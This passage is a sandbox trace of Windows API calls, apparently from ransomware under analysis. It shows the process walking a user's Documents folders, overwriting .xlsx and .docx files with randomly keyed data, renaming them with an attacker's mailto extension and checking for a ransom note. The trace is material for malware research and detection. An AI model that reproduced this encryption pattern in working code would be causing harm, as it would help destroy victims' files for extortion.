ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ce8 [0069.538] wcscmp (_String1=".", _String2=".") returned 0 [0069.538] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.538] wcscmp (_String1="..", _String2=".") returned 1 [0069.538] wcscmp (_String1="..", _String2="..") returned 0 [0069.538] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0069.538] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0069.538] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0069.538] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1a0f60e, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1a0f60e, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vssx", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0069.538] wcscmp (_String1="Favorites.vssx", _String2=".") returned 1 [0069.538] wcscmp (_String1="Favorites.vssx", _String2="..") returned 1 [0069.538] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e500 [0069.538] wcscpy (in: _Dest=0x347e500, _Source="C:\\Users\\FD1HVy\\Documents\\My Shapes" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes" [0069.538] wcscat (in: _Dest=0x347e500, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\" [0069.538] wcscat (in: _Dest=0x347e500, _Source="Favorites.vssx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" [0070.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0070.467] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0070.467] wcscmp (_String1="_private", _String2=".") returned 1 [0070.467] wcscmp (_String1="_private", _String2="..") returned 1 [0070.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427000 [0070.467] wcscpy (in: _Dest=0x3427000, _Source="C:\\Users\\FD1HVy\\Documents\\My Shapes" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes" [0070.467] wcscat (in: _Dest=0x3427000, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\" [0070.467] wcscat (in: _Dest=0x3427000, _Source="_private" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private" [0070.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0070.468] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0070.468] FindClose (in: hFindFile=0x3433ce8 | out: hFindFile=0x3433ce8) returned 1 [0070.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429c68) returned 1 [0070.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f98) returned 1 [0070.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481078) returned 1 [0070.468] RtlExitUserThread (Status=0x0) Thread: id = 424 os_tid = 0x1074 [0069.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3431150 [0069.539] wcscpy (in: _Dest=0x3431150, _Source="C:\\Users\\FD1HVy\\Documents\\My Videos" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Videos") returned="C:\\Users\\FD1HVy\\Documents\\My Videos" [0069.539] wcscat (in: _Dest=0x3431150, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Videos\\") returned="C:\\Users\\FD1HVy\\Documents\\My Videos\\" [0069.539] wcscat (in: _Dest=0x3431150, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Videos\\*") returned="C:\\Users\\FD1HVy\\Documents\\My Videos\\*" [0069.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429ed0 [0069.539] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Videos\\*", lpFindFileData=0x3429ed0 | out: lpFindFileData=0x3429ed0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0069.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429ed0) returned 1 [0069.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431150) returned 1 [0069.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34810c8) returned 1 [0069.540] RtlExitUserThread (Status=0x0) Thread: id = 425 os_tid = 0x107c [0069.540] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\o1d0ikutupyj.xlsx")) returned 0x20 [0069.541] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx", dwFileAttributes=0x20) returned 1 [0069.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\o1d0ikutupyj.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0069.541] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x1223fad4 | out: lpFileSize=0x1223fad4*=76089) returned 1 [0069.541] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x12935, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.541] ReadFile (in: hFile=0x768, lpBuffer=0x1223faa8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1223faa4, lpOverlapped=0x0 | out: lpBuffer=0x1223faa8*, lpNumberOfBytesRead=0x1223faa4*=0x4, lpOverlapped=0x0) returned 1 [0069.542] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bf28 [0069.542] NtQuerySystemTime (in: CurrentTime=0x1223fa80 | out: CurrentTime=0x1223fa80*=132121176274320060) returned 0x0 [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xe9820df3 [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xe83e8aee [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x506e466f [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x448721a1 [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x5481b292 [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x7d5859de [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x8999816a [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xd8754246 [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xb1892b2d [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xecf1ba55 [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x5826d15a [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xf66c83fb [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xa77f9b3e [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x39295f85 [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xdf985a88 [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xfbaa0172 [0069.542] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xa304e09e [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x9e8ad878 [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xeccfd63 [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x5bda595d [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x180cc1b4 [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x79791fdd [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xe8dc5bfb [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xf7da75bf [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x180acd37 [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x34054f9d [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xe84d49bb [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xca82d153 [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x72d289e8 [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x78e1ebdc [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0xe40530f7 [0069.543] RtlRandom (in: Seed=0x1223fa8c | out: Seed=0x1223fa8c) returned 0x2e0b153 [0069.555] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.555] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1223fa58, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1223fa58*=0x4096, lpOverlapped=0x0) returned 1 [0069.555] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bf50 [0069.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bf50) returned 1 [0069.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.556] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1223fa58, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1223fa58*=0x4096, lpOverlapped=0x0) returned 1 [0069.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.556] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x12939, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.556] WriteFile (in: hFile=0x768, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1223fa90, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x1223fa90*=0x20, lpOverlapped=0x0) returned 1 [0069.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.556] WriteFile (in: hFile=0x768, lpBuffer=0x342baf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1223faa4, lpOverlapped=0x0 | out: lpBuffer=0x342baf0*, lpNumberOfBytesWritten=0x1223faa4*=0x8, lpOverlapped=0x0) returned 1 [0069.556] WriteFile (in: hFile=0x768, lpBuffer=0x1223fabc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1223faa4, lpOverlapped=0x0 | out: lpBuffer=0x1223fabc*, lpNumberOfBytesWritten=0x1223faa4*=0x4, lpOverlapped=0x0) returned 1 [0069.557] WriteFile (in: hFile=0x768, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1223faa4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1223faa4*=0x4, lpOverlapped=0x0) returned 1 [0069.557] WriteFile (in: hFile=0x768, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1223faa4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1223faa4*=0x6c, lpOverlapped=0x0) returned 1 [0069.557] WriteFile (in: hFile=0x768, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1223faa4, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x1223faa4*=0x20, lpOverlapped=0x0) returned 1 [0069.557] WriteFile (in: hFile=0x768, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1223faa4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1223faa4*=0x4, lpOverlapped=0x0) returned 1 [0069.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342baf0) returned 1 [0069.557] CloseHandle (hObject=0x768) returned 1 [0069.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e63d8 [0069.559] wcscpy (in: _Dest=0x33e63d8, _Source="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx" [0069.559] wcscat (in: _Dest=0x33e63d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731" [0069.559] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\o1d0ikutupyj.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\o1d0ikutupyj.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.560] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e63d8) returned 1 [0069.560] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx", dwFileAttributes=0x20) returned 0 [0069.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.560] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.560] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.560] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481c78) returned 1 [0069.561] RtlExitUserThread (Status=0x1) Thread: id = 426 os_tid = 0x1080 [0069.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3480300 [0069.562] wcscpy (in: _Dest=0x3480300, _Source="C:\\Users\\FD1HVy\\Documents\\Outlook Files" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files" [0069.562] wcscat (in: _Dest=0x3480300, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\" [0069.562] wcscat (in: _Dest=0x3480300, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*" [0069.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429ed0 [0069.562] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*", lpFindFileData=0x3429ed0 | out: lpFindFileData=0x3429ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d28 [0069.563] wcscmp (_String1=".", _String2=".") returned 0 [0069.563] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x3429ed0 | out: lpFindFileData=0x3429ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.563] wcscmp (_String1="..", _String2=".") returned 1 [0069.563] wcscmp (_String1="..", _String2="..") returned 0 [0069.563] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x3429ed0 | out: lpFindFileData=0x3429ed0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 1 [0069.563] wcscmp (_String1="kkcie@kdj.kd.pst", _String2=".") returned 1 [0069.563] wcscmp (_String1="kkcie@kdj.kd.pst", _String2="..") returned 1 [0069.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd6f0 [0069.563] wcscpy (in: _Dest=0x33cd6f0, _Source="C:\\Users\\FD1HVy\\Documents\\Outlook Files" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files" [0069.563] wcscat (in: _Dest=0x33cd6f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\" [0069.563] wcscat (in: _Dest=0x33cd6f0, _Source="kkcie@kdj.kd.pst" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" [0070.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0070.465] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x3429ed0 | out: lpFindFileData=0x3429ed0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 0 [0070.465] FindClose (in: hFindFile=0x3433d28 | out: hFindFile=0x3433d28) returned 1 [0070.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429ed0) returned 1 [0070.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480300) returned 1 [0070.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430de0) returned 1 [0070.466] RtlExitUserThread (Status=0x0) Thread: id = 427 os_tid = 0xd14 [0069.564] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx" (normalized: "c:\\users\\fd1hvy\\documents\\pm6hcm.docx")) returned 0x20 [0069.564] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx", dwFileAttributes=0x20) returned 1 [0069.564] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx" (normalized: "c:\\users\\fd1hvy\\documents\\pm6hcm.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x770 [0069.564] GetFileSizeEx (in: hFile=0x770, lpFileSize=0x1233fd20 | out: lpFileSize=0x1233fd20*=17468) returned 1 [0069.564] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x4438, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.564] ReadFile (in: hFile=0x770, lpBuffer=0x1233fcf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1233fcf0, lpOverlapped=0x0 | out: lpBuffer=0x1233fcf4*, lpNumberOfBytesRead=0x1233fcf0*=0x4, lpOverlapped=0x0) returned 1 [0069.565] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bf50 [0069.565] NtQuerySystemTime (in: CurrentTime=0x1233fccc | out: CurrentTime=0x1233fccc*=132121176274630261) returned 0x0 [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x37bde368 [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x71e5c6d6 [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x89f01fc7 [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xe22499aa [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x232d9c78 [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: 